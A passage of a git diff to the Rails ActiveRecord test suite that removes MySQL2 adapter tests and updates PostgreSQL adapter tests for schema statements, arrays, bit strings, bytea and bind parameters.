-      ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/reserved_words", fixture_names)
-    end
-
-    # custom drop table, uses execute on connection to drop a table if it exists. note: escapes table_name
-    def drop_tables_directly(table_names, connection = @connection)
-      table_names.each do |name|
-        connection.drop_table name, if_exists: true
-      end
-    end
-
-    # custom create table, uses execute on connection to create a table, note: escapes table_name, does NOT escape columns
-    def create_tables_directly(tables, connection = @connection)
-      tables.each do |table_name, column_properties|
-        connection.execute("CREATE TABLE `#{table_name}` ( #{column_properties} )")
-      end
-    end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
deleted file mode 100644
index 605baa9905562..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-require "cases/helper"
-
-class SchemaMigrationsTest < ActiveRecord::Mysql2TestCase
-  def test_renaming_index_on_foreign_key
-    connection.add_index "engines", "car_id"
-    connection.add_foreign_key :engines, :cars, name: "fk_engines_cars"
-
-    connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed")
-    assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name)
-  ensure
-    connection.remove_foreign_key :engines, name: "fk_engines_cars"
-  end
-
-  def test_initializes_schema_migrations_for_encoding_utf8mb4
-    with_encoding_utf8mb4 do
-      table_name = ActiveRecord::SchemaMigration.table_name
-      connection.drop_table table_name, if_exists: true
-
-      ActiveRecord::SchemaMigration.create_table
-
-      assert connection.column_exists?(table_name, :version, :string, collation: "utf8_general_ci")
-    end
-  end
-
-  def test_initializes_internal_metadata_for_encoding_utf8mb4
-    with_encoding_utf8mb4 do
-      table_name = ActiveRecord::InternalMetadata.table_name
-      connection.drop_table table_name, if_exists: true
-
-      ActiveRecord::InternalMetadata.create_table
-
-      assert connection.column_exists?(table_name, :key, :string, collation: "utf8_general_ci")
-    end
-  end
-
-  private
-
-    def with_encoding_utf8mb4
-      database_name = connection.current_database
-      database_info = connection.select_one("SELECT * FROM information_schema.schemata WHERE schema_name = '#{database_name}'")
-
-      original_charset = database_info["DEFAULT_CHARACTER_SET_NAME"]
-      original_collation = database_info["DEFAULT_COLLATION_NAME"]
-
-      execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET utf8mb4")
-
-      yield
-    ensure
-      execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET #{original_charset} COLLATE #{original_collation}")
-    end
-
-    def connection
-      @connection ||= ActiveRecord::Base.connection
-    end
-
-    def execute(sql)
-      connection.execute(sql)
-    end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/sp_test.rb b/activerecord/test/cases/adapters/mysql2/sp_test.rb
deleted file mode 100644
index 41825325351b7..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/sp_test.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require "cases/helper"
-require "models/topic"
-require "models/reply"
-
-class Mysql2StoredProcedureTest < ActiveRecord::Mysql2TestCase
-  fixtures :topics
-
-  def setup
-    @connection = ActiveRecord::Base.connection
-    unless ActiveRecord::Base.connection.version >= "5.6.0"
-      skip("no stored procedure support")
-    end
-  end
-
-  # Test that MySQL allows multiple results for stored procedures
-  #
-  # In MySQL 5.6, CLIENT_MULTI_RESULTS is enabled by default.
-  # http://dev.mysql.com/doc/refman/5.6/en/call.html
-  def test_multi_results
-    rows = @connection.select_rows("CALL ten();")
-    assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}"
-    assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select_rows'"
-  end
-
-  def test_multi_results_from_select_one
-    row = @connection.select_one("CALL topics(1);")
-    assert_equal "David", row["author_name"]
-    assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select_one'"
-  end
-
-  def test_multi_results_from_find_by_sql
-    topics = Topic.find_by_sql "CALL topics(3);"
-    assert_equal 3, topics.size
-    assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select'"
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/sql_types_test.rb b/activerecord/test/cases/adapters/mysql2/sql_types_test.rb
deleted file mode 100644
index d6e7f29a5c5c9..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/sql_types_test.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require "cases/helper"
-
-class Mysql2SqlTypesTest < ActiveRecord::Mysql2TestCase
-  def test_binary_types
-    assert_equal "varbinary(64)", type_to_sql(:binary, 64)
-    assert_equal "varbinary(4095)", type_to_sql(:binary, 4095)
-    assert_equal "blob", type_to_sql(:binary, 4096)
-    assert_equal "blob", type_to_sql(:binary)
-  end
-
-  def type_to_sql(type, limit = nil)
-    ActiveRecord::Base.connection.type_to_sql(type, limit: limit)
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/table_options_test.rb b/activerecord/test/cases/adapters/mysql2/table_options_test.rb
deleted file mode 100644
index 61a8ce9bc0d2d..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/table_options_test.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-require "cases/helper"
-require "support/schema_dumping_helper"
-
-class Mysql2TableOptionsTest < ActiveRecord::Mysql2TestCase
-  include SchemaDumpingHelper
-
-  def setup
-    @connection = ActiveRecord::Base.connection
-  end
-
-  def teardown
-    @connection.drop_table "mysql_table_options", if_exists: true
-  end
-
-  test "table options with ENGINE" do
-    @connection.create_table "mysql_table_options", force: true, options: "ENGINE=MyISAM"
-    output = dump_table_schema("mysql_table_options")
-    options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options]
-    assert_match %r{ENGINE=MyISAM}, options
-  end
-
-  test "table options with ROW_FORMAT" do
-    @connection.create_table "mysql_table_options", force: true, options: "ROW_FORMAT=REDUNDANT"
-    output = dump_table_schema("mysql_table_options")
-    options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options]
-    assert_match %r{ROW_FORMAT=REDUNDANT}, options
-  end
-
-  test "table options with CHARSET" do
-    @connection.create_table "mysql_table_options", force: true, options: "CHARSET=utf8mb4"
-    output = dump_table_schema("mysql_table_options")
-    options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options]
-    assert_match %r{CHARSET=utf8mb4}, options
-  end
-
-  test "table options with COLLATE" do
-    @connection.create_table "mysql_table_options", force: true, options: "COLLATE=utf8mb4_bin"
-    output = dump_table_schema("mysql_table_options")
-    options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options]
-    assert_match %r{COLLATE=utf8mb4_bin}, options
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/transaction_test.rb b/activerecord/test/cases/adapters/mysql2/transaction_test.rb
deleted file mode 100644
index 16101e38cb8bb..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/transaction_test.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-require "cases/helper"
-require "support/connection_helper"
-
-module ActiveRecord
-  class Mysql2TransactionTest < ActiveRecord::Mysql2TestCase
-    self.use_transactional_tests = false
-
-    class Sample < ActiveRecord::Base
-      self.table_name = "samples"
-    end
-
-    setup do
-      @abort, Thread.abort_on_exception = Thread.abort_on_exception, false
-
-      @connection = ActiveRecord::Base.connection
-      @connection.clear_cache!
-
-      @connection.transaction do
-        @connection.drop_table "samples", if_exists: true
-        @connection.create_table("samples") do |t|
-          t.integer "value"
-        end
-      end
-
-      Sample.reset_column_information
-    end
-
-    teardown do
-      @connection.drop_table "samples", if_exists: true
-
-      Thread.abort_on_exception = @abort
-    end
-
-    test "raises Deadlocked when a deadlock is encountered" do
-      assert_raises(ActiveRecord::Deadlocked) do
-        barrier = Concurrent::CyclicBarrier.new(2)
-
-        s1 = Sample.create value: 1
-        s2 = Sample.create value: 2
-
-        thread = Thread.new do
-          Sample.transaction do
-            s1.lock!
-            barrier.wait
-            s2.update_attributes value: 1
-          end
-        end
-
-        begin
-          Sample.transaction do
-            s2.lock!
-            barrier.wait
-            s1.update_attributes value: 2
-          end
-        ensure
-          thread.join
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb b/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb
deleted file mode 100644
index a0823be143095..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-require "cases/helper"
-require "support/schema_dumping_helper"
-
-class Mysql2UnsignedTypeTest < ActiveRecord::Mysql2TestCase
-  include SchemaDumpingHelper
-  self.use_transactional_tests = false
-
-  class UnsignedType < ActiveRecord::Base
-  end
-
-  setup do
-    @connection = ActiveRecord::Base.connection
-    @connection.create_table("unsigned_types", force: true) do |t|
-      t.integer :unsigned_integer, unsigned: true
-      t.bigint  :unsigned_bigint,  unsigned: true
-      t.float   :unsigned_float,   unsigned: true
-      t.decimal :unsigned_decimal, unsigned: true, precision: 10, scale: 2
-      t.column  :unsigned_zerofill, "int unsigned zerofill"
-    end
-  end
-
-  teardown do
-    @connection.drop_table "unsigned_types", if_exists: true
-  end
-
-  test "unsigned int max value is in range" do
-    assert expected = UnsignedType.create(unsigned_integer: 4294967295)
-    assert_equal expected, UnsignedType.find_by(unsigned_integer: 4294967295)
-  end
-
-  test "minus value is out of range" do
-    assert_raise(ActiveModel::RangeError) do
-      UnsignedType.create(unsigned_integer: -10)
-    end
-    assert_raise(ActiveModel::RangeError) do
-      UnsignedType.create(unsigned_bigint: -10)
-    end
-    assert_raise(ActiveRecord::RangeError) do
-      UnsignedType.create(unsigned_float: -10.0)
-    end
-    assert_raise(ActiveRecord::RangeError) do
-      UnsignedType.create(unsigned_decimal: -10.0)
-    end
-  end
-
-  test "schema definition can use unsigned as the type" do
-    @connection.change_table("unsigned_types") do |t|
-      t.unsigned_integer :unsigned_integer_t
-      t.unsigned_bigint  :unsigned_bigint_t
-      t.unsigned_float   :unsigned_float_t
-      t.unsigned_decimal :unsigned_decimal_t, precision: 10, scale: 2
-    end
-
-    @connection.columns("unsigned_types").select { |c| /^unsigned_/.match?(c.name) }.each do |column|
-      assert column.unsigned?
-    end
-  end
-
-  test "schema dump includes unsigned option" do
-    schema = dump_table_schema "unsigned_types"
-    assert_match %r{t.integer\s+"unsigned_integer",\s+unsigned: true$}, schema
-    assert_match %r{t.bigint\s+"unsigned_bigint",\s+unsigned: true$}, schema
-    assert_match %r{t.float\s+"unsigned_float",\s+limit: 24,\s+unsigned: true$}, schema
-    assert_match %r{t.decimal\s+"unsigned_decimal",\s+precision: 10,\s+scale: 2,\s+unsigned: true$}, schema
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/virtual_column_test.rb b/activerecord/test/cases/adapters/mysql2/virtual_column_test.rb
deleted file mode 100644
index 442a4fb7b5cb3..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/virtual_column_test.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-require "cases/helper"
-require "support/schema_dumping_helper"
-
-if ActiveRecord::Base.connection.supports_virtual_columns?
-  class Mysql2VirtualColumnTest < ActiveRecord::Mysql2TestCase
-    include SchemaDumpingHelper
-
-    self.use_transactional_tests = false
-
-    class VirtualColumn < ActiveRecord::Base
-    end
-
-    def setup
-      @connection = ActiveRecord::Base.connection
-      @connection.create_table :virtual_columns, force: true do |t|
-        t.string  :name
-        t.virtual :upper_name,  type: :string,  as: "UPPER(`name`)"
-        t.virtual :name_length, type: :integer, as: "LENGTH(`name`)", stored: true
-      end
-      VirtualColumn.create(name: "Rails")
-    end
-
-    def teardown
-      @connection.drop_table :virtual_columns, if_exists: true
-      VirtualColumn.reset_column_information
-    end
-
-    def test_virtual_column
-      column = VirtualColumn.columns_hash["upper_name"]
-      assert_predicate column, :virtual?
-      assert_match %r{\bVIRTUAL\b}, column.extra
-      assert_equal "RAILS", VirtualColumn.take.upper_name
-    end
-
-    def test_stored_column
-      column = VirtualColumn.columns_hash["name_length"]
-      assert_predicate column, :virtual?
-      assert_match %r{\b(?:STORED|PERSISTENT)\b}, column.extra
-      assert_equal 5, VirtualColumn.take.name_length
-    end
-
-    def test_change_table
-      @connection.change_table :virtual_columns do |t|
-        t.virtual :lower_name, type: :string, as: "LOWER(name)"
-      end
-      VirtualColumn.reset_column_information
-      column = VirtualColumn.columns_hash["lower_name"]
-      assert_predicate column, :virtual?
-      assert_match %r{\bVIRTUAL\b}, column.extra
-      assert_equal "rails", VirtualColumn.take.lower_name
-    end
-
-    def test_schema_dumping
-      output = dump_table_schema("virtual_columns")
-      assert_match(/t\.virtual\s+"upper_name",\s+type: :string,\s+as: "UPPER\(`name`\)"$/i, output)
-      assert_match(/t\.virtual\s+"name_length",\s+type: :integer,\s+as: "LENGTH\(`name`\)",\s+stored: true$/i, output)
-    end
-  end
-end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
index b787de84536e1..ce126033f21cf 100644
--- a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class PostgresqlActiveSchemaTest < ActiveRecord::PostgreSQLTestCase
   def setup
+    ActiveRecord::Base.lease_connection.materialize_transactions
+
     ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
       def execute(sql, name = nil) sql end
     end
@@ -23,50 +27,69 @@ def test_create_database_with_collation_and_ctype
     assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'UTF8' LC_COLLATE = 'ja_JP.UTF8' LC_CTYPE = 'ja_JP.UTF8'), create_database(:aimonetti, encoding: :"UTF8", collation: :"ja_JP.UTF8", ctype: :"ja_JP.UTF8")
   end
 
-  def test_add_index
-    # add_index calls index_name_exists? which can't work since execute is stubbed
-    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_exists?) { |*| false }
+  def test_create_database_with_locale_provider_and_locale
+    assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'utf8' LOCALE_PROVIDER = 'builtin' LOCALE = 'C.UTF-8'), create_database(:aimonetti, locale_provider: :builtin, locale: "C.UTF-8")
+  end
 
-    expected = %(CREATE UNIQUE INDEX  "index_people_on_last_name" ON "people"  ("last_name") WHERE state = 'active')
+  def test_add_index
+    expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" ("last_name") WHERE state = 'active')
     assert_equal expected, add_index(:people, :last_name, unique: true, where: "state = 'active'")
 
-    expected = %(CREATE UNIQUE INDEX  "index_people_on_lower_last_name" ON "people"  (lower(last_name)))
+    expected = %(CREATE UNIQUE INDEX "index_people_on_lower_last_name" ON "people" (lower(last_name)))
     assert_equal expected, add_index(:people, "lower(last_name)", unique: true)
 
-    expected = %(CREATE UNIQUE INDEX  "index_people_on_last_name_varchar_pattern_ops" ON "people"  (last_name varchar_pattern_ops))
+    expected = %(CREATE UNIQUE INDEX "index_people_on_last_name_varchar_pattern_ops" ON "people" (last_name varchar_pattern_ops))
     assert_equal expected, add_index(:people, "last_name varchar_pattern_ops", unique: true)
 
-    expected = %(CREATE  INDEX CONCURRENTLY "index_people_on_last_name" ON "people"  ("last_name"))
+    expected = %(CREATE INDEX CONCURRENTLY "index_people_on_last_name" ON "people" ("last_name"))
     assert_equal expected, add_index(:people, :last_name, algorithm: :concurrently)
 
-    expected = %(CREATE  INDEX  "index_people_on_last_name_and_first_name" ON "people"  ("last_name" DESC, "first_name" ASC))
+    expected = %(CREATE INDEX CONCURRENTLY IF NOT EXISTS "index_people_on_last_name" ON "people" ("last_name"))
+    assert_equal expected, add_index(:people, :last_name, if_not_exists: true, algorithm: :concurrently)
+
+    expected = %(CREATE INDEX "index_people_on_last_name_and_first_name" ON "people" ("last_name" DESC, "first_name" ASC))
     assert_equal expected, add_index(:people, [:last_name, :first_name], order: { last_name: :desc, first_name: :asc })
     assert_equal expected, add_index(:people, ["last_name", :first_name], order: { last_name: :desc, "first_name" => :asc })
 
     %w(gin gist hash btree).each do |type|
-      expected = %(CREATE  INDEX  "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
+      expected = %(CREATE INDEX "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
       assert_equal expected, add_index(:people, :last_name, using: type)
 
-      expected = %(CREATE  INDEX CONCURRENTLY "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
+      expected = %(CREATE INDEX CONCURRENTLY "index_people_on_last_name" ON "people" USING #{type} ("last_name"))
       assert_equal expected, add_index(:people, :last_name, using: type, algorithm: :concurrently)
 
-      expected = %(CREATE UNIQUE INDEX  "index_people_on_last_name" ON "people" USING #{type} ("last_name") WHERE state = 'active')
+      expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" USING #{type} ("last_name") WHERE state = 'active')
       assert_equal expected, add_index(:people, :last_name, using: type, unique: true, where: "state = 'active'")
 
-      expected = %(CREATE UNIQUE INDEX  "index_people_on_lower_last_name" ON "people" USING #{type} (lower(last_name)))
+      expected = %(CREATE UNIQUE INDEX "index_people_on_lower_last_name" ON "people" USING #{type} (lower(last_name)))
       assert_equal expected, add_index(:people, "lower(last_name)", using: type, unique: true)
     end
 
+    expected = %(CREATE INDEX "index_people_on_last_name" ON "people" USING gist ("last_name" bpchar_pattern_ops))
+    assert_equal expected, add_index(:people, :last_name, using: :gist, opclass: { last_name: :bpchar_pattern_ops })
+
+    expected = %(CREATE INDEX "index_people_on_last_name_and_first_name" ON "people" ("last_name" DESC NULLS LAST, "first_name" ASC))
+    assert_equal expected, add_index(:people, [:last_name, :first_name], order: { last_name: "DESC NULLS LAST", first_name: :asc })
+
+    expected = %(CREATE INDEX "index_people_on_last_name" ON "people" ("last_name" NULLS FIRST))
+    assert_equal expected, add_index(:people, :last_name, order: "NULLS FIRST")
+
+    expected = %(CREATE INDEX IF NOT EXISTS "index_people_on_last_name" ON "people" ("last_name"))
+    assert_equal expected, add_index(:people, :last_name, if_not_exists: true)
+
+    if supports_nulls_not_distinct?
+      expected = %(CREATE INDEX "index_people_on_last_name" ON "people" ("last_name") NULLS NOT DISTINCT)
+      assert_equal expected, add_index(:people, :last_name, nulls_not_distinct: true)
+    end
+
     assert_raise ArgumentError do
       add_index(:people, :last_name, algorithm: :copy)
     end
-
-    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send :remove_method, :index_name_exists?
   end
 
   def test_remove_index
     # remove_index calls index_name_for_remove which can't work since execute is stubbed
-    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_for_remove) do |*|
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.define_method(:index_name_for_remove) do |*|
       "index_people_on_last_name"
     end
 
@@ -77,7 +100,7 @@ def test_remove_index
       add_index(:people, :last_name, algorithm: :copy)
     end
 
-    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send :remove_method, :index_name_for_remove
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.remove_method :index_name_for_remove
   end
 
   def test_remove_index_when_name_is_specified
@@ -91,8 +114,20 @@ def test_remove_index_with_wrong_option
     end
   end
 
+  def test_drop_database_without_force
+    ActiveRecord::Base.lease_connection.stub(:database_version, 12_99_99) do
+      assert_equal %(DROP DATABASE IF EXISTS "development"), drop_database(:development)
+    end
+  end
+
+  def test_drop_database_with_force
+    ActiveRecord::Base.lease_connection.stub(:database_version, 13_00_00) do
+      assert_equal %(DROP DATABASE IF EXISTS "development" WITH (FORCE)), drop_database(:development)
+    end
+  end
+
   private
-    def method_missing(method_symbol, *arguments)
-      ActiveRecord::Base.connection.send(method_symbol, *arguments)
+    def method_missing(...)
+      ActiveRecord::Base.lease_connection.public_send(...)
     end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
index c78c6178ff631..e894e511ecf19 100644
--- a/activerecord/test/cases/adapters/postgresql/array_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -10,12 +12,12 @@ class PgArray < ActiveRecord::Base
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
 
     enable_extension!("hstore", @connection)
 
     @connection.transaction do
-      @connection.create_table("pg_arrays") do |t|
+      @connection.create_table "pg_arrays", force: true do |t|
         t.string "tags", array: true, limit: 255
         t.integer "ratings", array: true
         t.datetime :datetimes, array: true
@@ -37,12 +39,45 @@ def setup
   def test_column
     assert_equal :string, @column.type
     assert_equal "character varying(255)", @column.sql_type
-    assert @column.array?
-    assert_not @type.binary?
+    assert_predicate @column, :array?
+    assert_not_predicate @type, :binary?
 
     ratings_column = PgArray.columns_hash["ratings"]
     assert_equal :integer, ratings_column.type
-    assert ratings_column.array?
+    assert_predicate ratings_column, :array?
+  end
+
+  def test_not_compatible_with_serialize_array
+    new_klass = Class.new(PgArray) do
+      serialize :tags, type: Array
+    end
+    assert_raises(ActiveRecord::AttributeMethods::Serialization::ColumnNotSerializableError) do
+      new_klass.new
+    end
+  end
+
+  class MyTags
+    def initialize(tags); @tags = tags end
+    def to_a; @tags end
+    def self.load(tags); new(tags) end
+    def self.dump(object); object.to_a end
+  end
+
+  def test_array_with_serialized_attributes
+    new_klass = Class.new(PgArray) do
+      serialize :tags, coder: MyTags
+    end
+
+    new_klass.create!(tags: MyTags.new(["one", "two"]))
+    record = new_klass.first
+
+    assert_instance_of MyTags, record.tags
+    assert_equal ["one", "two"], record.tags.to_a
+
+    record.tags = MyTags.new(["three", "four"])
+    record.save!
+
+    assert_equal ["three", "four"], record.reload.tags.to_a
   end
 
   def test_default
@@ -74,7 +109,19 @@ def test_change_column_with_array
 
     assert_equal :text, column.type
     assert_equal [], PgArray.column_defaults["snippets"]
-    assert column.array?
+    assert_predicate column, :array?
+  end
+
+  def test_change_column_from_non_array_to_array
+    @connection.add_column :pg_arrays, :snippets, :string
+    @connection.change_column :pg_arrays, :snippets, :text, array: true, default: [], using: "string_to_array(\"snippets\", ',')"
+
+    PgArray.reset_column_information
+    column = PgArray.columns_hash["snippets"]
+
+    assert_equal :text, column.type
+    assert_equal [], PgArray.column_defaults["snippets"]
+    assert_predicate column, :array?
   end
 
   def test_change_column_cant_make_non_array_column_to_array
@@ -214,7 +261,7 @@ def test_string_quoting_rules_match_pg_behavior
     x = PgArray.create!(tags: tags)
     x.reload
 
-    refute x.changed?
+    assert_not_predicate x, :changed?
   end
 
   def test_quoting_non_standard_delimiters
@@ -222,7 +269,7 @@ def test_quoting_non_standard_delimiters
     oid = ActiveRecord::ConnectionAdapters::PostgreSQL::OID
     comma_delim = oid::Array.new(ActiveRecord::Type::String.new, ",")
     semicolon_delim = oid::Array.new(ActiveRecord::Type::String.new, ";")
-    conn = PgArray.connection
+    conn = PgArray.lease_connection
 
     assert_equal %({"hello,",world;}), conn.type_cast(comma_delim.serialize(strings))
     assert_equal %({hello,;"world;"}), conn.type_cast(semicolon_delim.serialize(strings))
@@ -236,7 +283,7 @@ def test_mutate_array
     x.reload
 
     assert_equal %w(one two three), x.tags
-    assert_not x.changed?
+    assert_not_predicate x, :changed?
   end
 
   def test_mutate_value_in_array
@@ -247,7 +294,7 @@ def test_mutate_value_in_array
     x.reload
 
     assert_equal [{ "a" => "c" }, { "b" => "b" }], x.hstores
-    assert_not x.changed?
+    assert_not_predicate x, :changed?
   end
 
   def test_datetime_with_timezone_awareness
@@ -307,11 +354,11 @@ def test_uniqueness_validation
       def self.model_name; ActiveModel::Name.new(PgArray) end
     end
     e1 = klass.create("tags" => ["black", "blue"])
-    assert e1.persisted?, "Saving e1"
+    assert_predicate e1, :persisted?, "Saving e1"
 
     e2 = klass.create("tags" => ["black", "blue"])
-    assert !e2.persisted?, "e2 shouldn't be valid"
-    assert e2.errors[:tags].any?, "Should have errors for tags"
+    assert_not e2.persisted?, "e2 shouldn't be valid"
+    assert_predicate e2.errors[:tags], :any?, "Should have errors for tags"
     assert_equal ["has already been taken"], e2.errors[:tags], "Should have uniqueness message for tags"
   end
 
diff --git a/activerecord/test/cases/adapters/postgresql/binary_with_decoder_test.rb b/activerecord/test/cases/adapters/postgresql/binary_with_decoder_test.rb
new file mode 100644
index 0000000000000..beaadf0f8d094
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/binary_with_decoder_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "cases/binary_test"
+
+# Run the binary tests with PostgreSQL bytea decoder enabled
+class BinaryWithDecoderTest < BinaryTest
+  def setup
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_bytea = true
+    ActiveRecord::Base.connection_pool.disconnect!
+    super
+  end
+
+  def teardown
+    super
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_bytea = false
+    ActiveRecord::Base.connection_pool.disconnect!
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/bind_parameter_test.rb b/activerecord/test/cases/adapters/postgresql/bind_parameter_test.rb
new file mode 100644
index 0000000000000..1f48bb16e8f20
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/bind_parameter_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapter
+      class BindParameterTest < ActiveRecord::PostgreSQLTestCase
+        fixtures :posts
+
+        def test_where_with_string_for_string_column_using_bind_parameters
+          assert_quoted_as "'Welcome to the weblog'", "Welcome to the weblog", match: 1
+        end
+
+        def test_where_with_integer_for_string_column_using_bind_parameters
+          assert_quoted_as "0", 0
+        end
+
+        def test_where_with_float_for_string_column_using_bind_parameters
+          assert_quoted_as "0.0", 0.0
+        end
+
+        def test_where_with_boolean_for_string_column_using_bind_parameters
+          assert_quoted_as "FALSE", false
+        end
+
+        def test_where_with_decimal_for_string_column_using_bind_parameters
+          assert_quoted_as "0.0", BigDecimal(0)
+        end
+
+        def test_where_with_rational_for_string_column_using_bind_parameters
+          assert_quoted_as "0/1", Rational(0)
+        end
+
+        private
+          def assert_quoted_as(expected, value, match: 0)
+            relation = Post.where("title = ?", value)
+            assert_equal(
+              %{SELECT "posts".* FROM "posts" WHERE (title = #{expected})},
+              relation.to_sql,
+            )
+            if match == 0
+              assert_empty relation.to_a
+            else
+              assert_equal match, relation.count
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/bit_string_test.rb b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
index 7712e809a2881..9dbd78ac1aedd 100644
--- a/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 require "support/schema_dumping_helper"
@@ -9,7 +11,7 @@ class PostgresqlBitStringTest < ActiveRecord::PostgreSQLTestCase
   class PostgresqlBitString < ActiveRecord::Base; end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table("postgresql_bit_strings", force: true) do |t|
       t.bit :a_bit, default: "00000011", limit: 8
       t.bit_varying :a_bit_varying, default: "0011", limit: 4
@@ -27,20 +29,20 @@ def test_bit_string_column
     column = PostgresqlBitString.columns_hash["a_bit"]
     assert_equal :bit, column.type
     assert_equal "bit(8)", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlBitString.type_for_attribute("a_bit")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_bit_string_varying_column
     column = PostgresqlBitString.columns_hash["a_bit_varying"]
     assert_equal :bit_varying, column.type
     assert_equal "bit varying(4)", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlBitString.type_for_attribute("a_bit_varying")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_default
@@ -57,7 +59,7 @@ def test_schema_dumping
     assert_match %r{t\.bit_varying\s+"a_bit_varying",\s+limit: 4,\s+default: "0011"$}, output
   end
 
-  if ActiveRecord::Base.connection.prepared_statements
+  if ActiveRecord::Base.lease_connection.prepared_statements
     def test_assigning_invalid_hex_string_raises_exception
       assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit: "FF" }
       assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit_varying: "F" }
diff --git a/activerecord/test/cases/adapters/postgresql/bytea_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
index 505c297cd45b1..1df5e66a3fbc3 100644
--- a/activerecord/test/cases/adapters/postgresql/bytea_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -9,13 +11,11 @@ class ByteaDataType < ActiveRecord::Base
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
-    begin
-      @connection.transaction do
-        @connection.create_table("bytea_data_type") do |t|
-          t.binary "payload"
-          t.binary "serialized"
-        end
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.transaction do
+      @connection.create_table("bytea_data_type") do |t|
+        t.binary "payload"
+        t.binary "serialized"
       end
     end
     @column = ByteaDataType.columns_hash["payload"]
@@ -33,7 +33,7 @@ def test_column
 
   def test_binary_columns_are_limitless_the_upper_limit_is_one_GB
